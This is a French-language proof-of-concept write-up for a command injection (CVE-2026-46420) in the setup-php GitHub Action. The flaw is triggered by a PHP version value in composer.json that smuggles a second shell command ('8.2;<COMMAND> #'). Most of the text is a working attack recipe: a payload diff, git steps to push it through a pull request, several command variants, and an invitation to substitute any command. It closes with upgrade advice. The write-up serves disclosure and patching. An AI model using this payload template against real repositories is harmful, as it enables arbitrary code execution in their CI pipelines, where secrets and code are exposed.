
PoC pour CVE-2026-46420, injection de commande dans shivammathur/setup-php via la résolution de version PHP contrôlée par le dépôt.
Injection de commande dans shivammathur/setup-php lorsque la version de PHP est chargée à partir de fichiers contrôlés par le dépôt.
Versions concernées :
>= 2.25.0, < 2.37.1
Version corrigée :
>= 2.37.1
Le dépôt cible possède déjà un workflow vulnérable qui extrait le contenu de la pull request et exécute [email protected].
L'attaquant ne modifie que composer.json.
-"php": "8.2"
+"php": [
+ "8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #"
+]
Lorsque setup-php lit la version de PHP depuis composer.json, la commande injectée est incluse dans le script shell généré puis exécutée.
Résultat :
-FEATURE_FLAG=off
+FEATURE_FLAG=modified-by-poc
Créez une branche à partir du dépôt cible :
git checkout -b poc-test
Remplacez le composer.json d'origine par la version PoC :
cp attacker/composer.json composer.json
Commitez et poussez :
git add composer.json
git commit -m "update composer config"
git push -u origin poc-test
Ouvrez une pull request de poc-test vers main.
L'exécution des Actions devrait montrer que demo-app/.env.example a été modifié pendant l'étape setup-php.
Le format du payload est :
8.2;<COMMAND> #
Payload actuel :
8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #
La commande exécutée est :
sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example
Pour modifier ce que fait le PoC, remplacez la commande située entre 8.2; et #.
Créer un fichier :
8.2;touch poc-executed #
Écrire dans un fichier :
8.2;printf 'poc executed\n' > poc-result.txt #
Afficher la sortie de la commande :
8.2;id #
Exemple de composer.json :
{
"config": {
"platform": {
"php": [
"8.2;touch poc-executed #"
]
}
}
}
Mettez à niveau vers [email protected] ou une version plus récente.
Le même payload est rejeté sur la version corrigée.